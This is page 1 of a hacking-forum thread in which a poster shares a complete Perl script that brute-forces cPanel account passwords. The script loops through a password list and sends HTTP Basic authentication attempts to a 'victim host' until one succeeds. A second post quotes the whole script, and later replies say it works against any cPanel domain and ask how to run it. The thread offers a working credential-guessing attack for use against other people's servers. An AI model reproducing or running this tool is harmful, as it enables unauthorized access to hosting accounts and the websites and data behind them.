Page 1 of 2 12 LastLast
Results 1 to 15 of 20
  1. #1
    RoB07's Avatar
    Join Date
    Feb 2008
    Posts
    42
    Reputation
    10
    Thanks
    9

    Exclamation Cpanel Password Brute Force Tool EXPLOIT

    Pearl =)

    [PHP]#!/usr/bin/perl
    # Cpanel Password Brute Forcer
    # ----------------------------
    # (c)oded By Hessam-x
    # Perl Version ( low speed )
    # Oerginal Advisory :
    # https://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
    use IO::Socket;
    use LWP::Simple;
    use MIME::Base64;

    $host = $ARGV[0];
    $user = $ARGV[1];
    $port = $ARGV[2];
    $list = $ARGV[3];
    $file = $ARGV[4];
    $url = "https://".$host.":".$port;
    if(@ARGV < 3){
    print q(
    ################################################## #############
    # Cpanel Password Brute Force Tool #
    ################################################## #############
    # usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
    #-------------------------------------------------------------#
    # [Host] : victim Host (simorgh-ev.com) #
    # [User] : User Name (demo) #
    # [PORT] : Port of Cpanel (2082) #
    #[list] : File Of password list (list.txt) #
    # [File] : file for save password (password.txt) #
    # #
    ################################################## #############
    # (c)oded By Hessam-x / simorgh-ev.com #
    ################################################## #############
    );exit;}

    headx();

    $numstart = "-1";

    sub headx() {
    print q(
    ################################################## #############
    # Cpanel Password Brute Force Tool #
    # (c)oded By Hessam-x / simorgh-ev.com #
    ################################################## #############
    );
    open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
    @PASSWORDS = <PASSFILE>;
    close PASSFILE;
    foreach my $P (@PASSWORDS) {
    chomp $P;
    $passwd = $P;
    print "
    [~] Try Password : $passwd
    ";
    &brut;
    };
    }
    sub brut() {
    $authx = encode_base64($user.":".$passwd);
    print $authx;
    my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
    [-] Can not connect to the host";
    print $sock "GET / HTTP/1.1
    ";
    print $sock "Authorization: Basic $authx
    ";
    print $sock "Connection: Close

    ";
    read $sock, $answer, 128;
    close($sock);

    if ($answer =~ /Moved/) {
    print "
    [~] PASSWORD FOUND : $passwd
    ";
    exit();
    }
    }[/PHP]

  2. The Following 2 Users Say Thank You to RoB07 For This Useful Post:

    satansplaygrnd (07-16-2008),twox (03-23-2010)

  3. #2
    Alen's Avatar
    Join Date
    Oct 2007
    Gender
    male
    Location
    Liquid Generator
    Posts
    27,922
    Reputation
    2548
    Thanks
    4,222
    My Mood
    Fine
    Quote Originally Posted by RoB07 View Post
    Pearl =)

    [PHP]#!/usr/bin/perl
    # Cpanel Password Brute Forcer
    # ----------------------------
    # (c)oded By Hessam-x
    # Perl Version ( low speed )
    # Oerginal Advisory :
    # https://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
    use IO::Socket;
    use LWP::Simple;
    use MIME::Base64;

    $host = $ARGV[0];
    $user = $ARGV[1];
    $port = $ARGV[2];
    $list = $ARGV[3];
    $file = $ARGV[4];
    $url = "https://".$host.":".$port;
    if(@ARGV < 3){
    print q(
    ################################################## #############
    # Cpanel Password Brute Force Tool #
    ################################################## #############
    # usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
    #-------------------------------------------------------------#
    # [Host] : victim Host (simorgh-ev.com) #
    # [User] : User Name (demo) #
    # [PORT] : Port of Cpanel (2082) #
    #[list] : File Of password list (list.txt) #
    # [File] : file for save password (password.txt) #
    # #
    ################################################## #############
    # (c)oded By Hessam-x / simorgh-ev.com #
    ################################################## #############
    );exit;}

    headx();

    $numstart = "-1";

    sub headx() {
    print q(
    ################################################## #############
    # Cpanel Password Brute Force Tool #
    # (c)oded By Hessam-x / simorgh-ev.com #
    ################################################## #############
    );
    open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
    @PASSWORDS = <PASSFILE>;
    close PASSFILE;
    foreach my $P (@PASSWORDS) {
    chomp $P;
    $passwd = $P;
    print "
    [~] Try Password : $passwd
    ";
    &brut;
    };
    }
    sub brut() {
    $authx = encode_base64($user.":".$passwd);
    print $authx;
    my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
    [-] Can not connect to the host";
    print $sock "GET / HTTP/1.1
    ";
    print $sock "Authorization: Basic $authx
    ";
    print $sock "Connection: Close

    ";
    read $sock, $answer, 128;
    close($sock);

    if ($answer =~ /Moved/) {
    print "
    [~] PASSWORD FOUND : $passwd
    ";
    exit();
    }
    }[/PHP]
    For what is this? vBulletin?

  4. The Following 2 Users Say Thank You to Alen For This Useful Post:

    mjq20 (11-04-2008),satansplaygrnd (07-16-2008)

  5. #3
    RoB07's Avatar
    Join Date
    Feb 2008
    Posts
    42
    Reputation
    10
    Thanks
    9
    Any Domain with cPanel

  6. The Following User Says Thank You to RoB07 For This Useful Post:

    satansplaygrnd (07-16-2008)

  7. #4
    frono15's Avatar
    Join Date
    Sep 2007
    Location
    right behind u
    Posts
    108
    Reputation
    10
    Thanks
    3
    Wow,Thx for this

  8. #5
    Dec0r87930's Avatar
    Join Date
    Jan 2008
    Location
    DetRoit :D
    Posts
    934
    Reputation
    20
    Thanks
    84
    This can be applied on, vBulletin, ipb boards, phpbb... and simple machine.

  9. #6
    XxUbErHaCkSxX's Avatar
    Join Date
    May 2008
    Posts
    5
    Reputation
    10
    Thanks
    0
    rawr! idk how to use this please teach me someone!

  10. #7
    farbod's Avatar
    Join Date
    Jun 2008
    Posts
    7
    Reputation
    10
    Thanks
    2
    i would tell u teach but its goin to take a while PM me

  11. #8
    Ferlas Soram's Avatar
    Join Date
    Jun 2008
    Posts
    5
    Reputation
    10
    Thanks
    0
    Would you be able to kindly explain to me how to use this?

    If not, thats OK too. I can always try to dissect it myself.

  12. #9
    arunforce's Avatar
    Join Date
    Dec 2005
    Gender
    male
    Location
    A place for amigos
    Posts
    23,727
    Reputation
    4343
    Thanks
    11,769
    My Mood
    Yeehaw
    It's PERL, it's self explanatory.

    Oh and how can it be a bruteforcer and exploit. -_-



    v1.96 - Tutorials, Upgraded Town, Def Revamp
    v1.97 - Cutscenes/Quests, Friend List
    v1.98 - Classes, Necklace/Rings
    v1.99 - Guilds
    v2.00 - Open Beta


  13. #10
    Ferlas Soram's Avatar
    Join Date
    Jun 2008
    Posts
    5
    Reputation
    10
    Thanks
    0
    PERL is a programming language, right?

    Where could I download it?
    Sorry, I'm a huge n00b.

  14. #11
    Mr.Dark Shark!!'s Avatar
    Join Date
    Jun 2008
    Posts
    5
    Reputation
    10
    Thanks
    3
    hey ya ,,,

    sorry 1st about my bad language .. then - this is my 1st replay here and i hoppe that it gonna ok ..


    from here u can download it,,
    https://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi



    take care


    i WaS H3r3
    \
    /
    \
    /
    Mr.Dark Shark!!

  15. #12
    daveannan's Avatar
    Join Date
    Jul 2008
    Posts
    2
    Reputation
    10
    Thanks
    0
    how do i use it in cmd cd C:\perl\bin

  16. #13
    Xeg's Avatar
    Join Date
    Jun 2006
    Gender
    male
    Posts
    67
    Reputation
    10
    Thanks
    51
    My Mood
    Cool
    Could anyone explain how this works?

    Already tried but can't make it work <.<

  17. #14
    Hacksomegamers's Avatar
    Join Date
    Aug 2008
    Posts
    2
    Reputation
    10
    Thanks
    0

    what happened to it?

    yeh the url isn't found.
    Quote Originally Posted by Mr.Dark Shark!! View Post
    hey ya ,,,

    sorry 1st about my bad language .. then - this is my 1st replay here and i hoppe that it gonna ok ..


    from here u can download it,,
    https://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi



    take care


    i WaS H3r3

    /

    /
    Mr.Dark Shark!!

  18. #15
    BuLu's Avatar
    Join Date
    Aug 2008
    Posts
    1
    Reputation
    10
    Thanks
    0
    Hi,
    anyone any idea how to downloadt it ?n how to use it?Im a Newbie
    Here.Thanks

Page 1 of 2 12 LastLast

Similar Threads

  1. [Release] Active Directory Brute Force Tool
    By freedompeace in forum Coders Lounge
    Replies: 7
    Last Post: 07-07-2013, 10:44 AM
  2. [Release] Jorg hi's Brute Force Cracker
    By HazedUp in forum General Hacking
    Replies: 0
    Last Post: 03-29-2009, 03:09 PM
  3. Compiling and/or Brute Forcing
    By 9Lives CatsEyes in forum General Hacking
    Replies: 0
    Last Post: 08-21-2008, 08:21 PM
  4. brute force cracking
    By ace76543 in forum Spammers Corner
    Replies: 2
    Last Post: 08-15-2006, 01:23 AM
  5. How To Brute Force
    By Flawless in forum Game Hacking Tutorials
    Replies: 0
    Last Post: 01-01-2006, 05:01 PM

Tags for this Thread